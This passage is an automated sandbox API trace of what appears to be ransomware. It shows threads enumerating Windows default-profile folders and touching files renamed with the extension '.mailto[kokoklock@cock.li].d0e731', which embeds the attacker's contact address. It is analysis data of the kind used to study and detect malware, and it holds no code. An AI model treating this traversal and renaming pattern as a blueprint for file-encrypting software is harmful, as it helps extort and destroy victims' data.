ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.682] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12a0) returned 1 [0168.682] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80320) returned 1 [0168.682] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f804a0) returned 1 [0168.682] RtlExitUserThread (Status=0x0) Thread: id = 1743 os_tid = 0x9e0 [0168.685] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat.log1.mailto[kokoklock@cock.li].d0e731")) returned 0x26 [0168.686] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0168.686] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat.log1.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.686] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x26) returned 0 [0168.686] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f82bc8) returned 1 [0168.686] RtlExitUserThread (Status=0x0) Thread: id = 1744 os_tid = 0x994 [0168.687] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat.log2.mailto[kokoklock@cock.li].d0e731")) returned 0x26 [0168.687] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0168.687] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat.log2.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.687] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x26) returned 0 [0168.687] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f82f28) returned 1 [0168.687] RtlExitUserThread (Status=0x0) Thread: id = 1745 os_tid = 0xdd8 [0168.688] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tm.blf.mailto[kokoklock@cock.li].d0e731")) returned 0x26 [0168.689] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0168.689] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tm.blf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.689] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x26) returned 0 [0168.689] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97758) returned 1 [0168.689] RtlExitUserThread (Status=0x0) Thread: id = 1746 os_tid = 0xdf4 [0168.690] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tmcontainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731")) returned 0x26 [0168.691] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0168.691] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tmcontainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.691] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x26) returned 0 [0168.692] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f70d80) returned 1 [0168.692] RtlExitUserThread (Status=0x0) Thread: id = 1747 os_tid = 0xdf8 [0168.692] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tmcontainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731")) returned 0x26 [0168.693] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0168.693] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tmcontainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.693] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x26) returned 0 [0168.694] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0168.694] RtlExitUserThread (Status=0x0) Thread: id = 1748 os_tid = 0xdfc [0168.695] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf.mailto[kokoklock@cock.li].d0e731")) returned 0x26 [0168.695] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0168.695] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.696] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x26) returned 0 [0168.696] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97678) returned 1 [0168.696] RtlExitUserThread (Status=0x0) Thread: id = 1749 os_tid = 0xe00 [0168.697] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731")) returned 0x26 [0168.697] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0168.697] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.698] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x26) returned 0 [0168.698] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8f458) returned 1 [0168.698] RtlExitUserThread (Status=0x0) Thread: id = 1750 os_tid = 0xe04 [0168.701] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731")) returned 0x26 [0168.702] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0168.702] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.702] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x26) returned 0 [0168.702] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8f580) returned 1 [0168.702] RtlExitUserThread (Status=0x0) Thread: id = 1751 os_tid = 0xe08 [0168.703] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x38) returned 0x2f80320 [0168.703] wcscpy (in: _Dest=0x2f80320, _Source="C:\\Users\\Default\\Pictures" | out: _Dest="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0168.703] wcscat (in: _Dest=0x2f80320, _Source="\\" | out: _Dest="C:\\Users\\Default\\Pictures\\") returned="C:\\Users\\Default\\Pictures\\" [0168.703] wcscat (in: _Dest=0x2f80320, _Source="*" | out: _Dest="C:\\Users\\Default\\Pictures\\*") returned="C:\\Users\\Default\\Pictures\\*" [0168.703] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe12a0 [0168.703] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*", lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80360 [0168.704] wcscmp (_String1=".", _String2=".") returned 0 [0168.704] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.704] wcscmp (_String1="..", _String2=".") returned 1 [0168.704] wcscmp (_String1="..", _String2="..") returned 0 [0168.704] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0168.704] FindClose (in: hFindFile=0x2f80360 | out: hFindFile=0x2f80360) returned 1 [0168.704] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12a0) returned 1 [0168.704] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80320) returned 1 [0168.704] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f805a0) returned 1 [0168.704] RtlExitUserThread (Status=0x0) Thread: id = 1752 os_tid = 0xe0c [0168.705] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87590 [0168.705] wcscpy (in: _Dest=0x2f87590, _Source="C:\\Users\\Default\\PrintHood" | out: _Dest="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0168.705] wcscat (in: _Dest=0x2f87590, _Source="\\" | out: _Dest="C:\\Users\\Default\\PrintHood\\") returned="C:\\Users\\Default\\PrintHood\\" [0168.705] wcscat (in: _Dest=0x2f87590, _Source="*" | out: _Dest="C:\\Users\\Default\\PrintHood\\*") returned="C:\\Users\\Default\\PrintHood\\*" [0168.705] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe12a0 [0168.705] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*", lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.705] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12a0) returned 1 [0168.705] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0168.706] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fe20) returned 1 [0168.706] RtlExitUserThread (Status=0x0) Thread: id = 1753 os_tid = 0xe10 [0168.706] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x34) returned 0x2f7fe20 [0168.707] wcscpy (in: _Dest=0x2f7fe20, _Source="C:\\Users\\Default\\Recent" | out: _Dest="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0168.707] wcscat (in: _Dest=0x2f7fe20, _Source="\\" | out: _Dest="C:\\Users\\Default\\Recent\\") returned="C:\\Users\\Default\\Recent\\" [0168.707] wcscat (in: _Dest=0x2f7fe20, _Source="*" | out: _Dest="C:\\Users\\Default\\Recent\\*") returned="C:\\Users\\Default\\Recent\\*" [0168.707] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe12a0 [0168.707] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*", lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.707] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12a0) returned 1 [0168.707] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fe20) returned 1 [0168.707] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013478) returned 1 [0168.707] RtlExitUserThread (Status=0x0) Thread: id = 1754 os_tid = 0xe14 [0168.708] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3e) returned 0x2f87590 [0168.708] wcscpy (in: _Dest=0x2f87590, _Source="C:\\Users\\Default\\Saved Games" | out: _Dest="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0168.708] wcscat (in: _Dest=0x2f87590, _Source="\\" | out: _Dest="C:\\Users\\Default\\Saved Games\\") returned="C:\\Users\\Default\\Saved Games\\" [0168.708] wcscat (in: _Dest=0x2f87590, _Source="*" | out: _Dest="C:\\Users\\Default\\Saved Games\\*") returned="C:\\Users\\Default\\Saved Games\\*" [0168.708] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe12a0 [0168.708] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*", lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fe20 [0168.708] wcscmp (_String1=".", _String2=".") returned 0 [0168.708] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.708] wcscmp (_String1="..", _String2=".") returned 1 [0168.709] wcscmp (_String1="..", _String2="..") returned 0 [0168.709] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0168.709] FindClose (in: hFindFile=0x2f7fe20 | out: hFindFile=0x2f7fe20) returned 1 [0168.709] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12a0) returned 1 [0168.709] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0168.709] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0168.709] RtlExitUserThread (Status=0x0) Thread: id = 1755 os_tid = 0xe18 [0168.712] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x34) returned 0x2f7fe20 [0168.712] wcscpy (in: _Dest=0x2f7fe20, _Source="C:\\Users\\Default\\SendTo" | out: _Dest="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0168.712] wcscat (in: _Dest=0x2f7fe20, _Source="\\" | out: _Dest="C:\\Users\\Default\\SendTo\\") returned="C:\\Users\\Default\\SendTo\\" [0168.712] wcscat (in: _Dest=0x2f7fe20, _Source="*" | out: _Dest="C:\\Users\\Default\\SendTo\\*") returned="C:\\Users\\Default\\SendTo\\*" [0168.712] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe12a0 [0168.712] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*", lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.712] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12a0) returned 1 [0168.712] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fe20) returned 1 [0168.712] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013638) returned 1 [0168.712] RtlExitUserThread (Status=0x0) Thread: id = 1756 os_tid = 0xe1c [0168.716] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3c) returned 0x2f87590 [0168.716] wcscpy (in: _Dest=0x2f87590, _Source="C:\\Users\\Default\\Start Menu" | out: _Dest="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0168.717] wcscat (in: _Dest=0x2f87590, _Source="\\" | out: _Dest="C:\\Users\\Default\\Start Menu\\") returned="C:\\Users\\Default\\Start Menu\\" [0168.717] wcscat (in: _Dest=0x2f87590, _Source="*" | out: _Dest="C:\\Users\\Default\\Start Menu\\*") returned="C:\\Users\\Default\\Start Menu\\*" [0168.717] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe12a0 [0168.717] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*", lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.717] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12a0) returned 1 [0168.717] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0168.717] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fe60) returned 1 [0168.717] RtlExitUserThread (Status=0x0) Thread: id = 1757 os_tid = 0xe20 [0168.718] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87590 [0168.718] wcscpy (in: _Dest=0x2f87590, _Source="C:\\Users\\Default\\Templates" | out: _Dest="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0168.718] wcscat (in: _Dest=0x2f87590, _Source="\\" | out: _Dest="C:\\Users\\Default\\Templates\\") returned="C:\\Users\\Default\\Templates\\" [0168.718] wcscat (in: _Dest=0x2f87590, _Source="*" | out: _Dest="C:\\Users\\Default\\Templates\\*") returned="C:\\Users\\Default\\Templates\\*" [0168.718] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe12a0 [0168.718] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*", lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.718] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12a0) returned 1 [0168.718] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0168.718] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7faa0) returned 1 [0168.718] RtlExitUserThread (Status=0x0) Thread: id = 1758 os_tid = 0xe28 [0168.719] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x34) returned 0x2f7fe20 [0168.719] wcscpy (in: _Dest=0x2f7fe20, _Source="C:\\Users\\Default\\Videos" | out: _Dest="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0168.719] wcscat (in: _Dest=0x2f7fe20, _Source="\\" | out: _Dest="C:\\Users\\Default\\Videos\\") returned="C:\\Users\\Default\\Videos\\" [0168.719] wcscat (in: _Dest=0x2f7fe20, _Source="*" | out: _Dest="C:\\Users\\Default\\Videos\\*") returned="C:\\Users\\Default\\Videos\\*" [0168.719] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe12a0 [0168.720] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*", lpFindFileData=0x2fe12a0 | out: 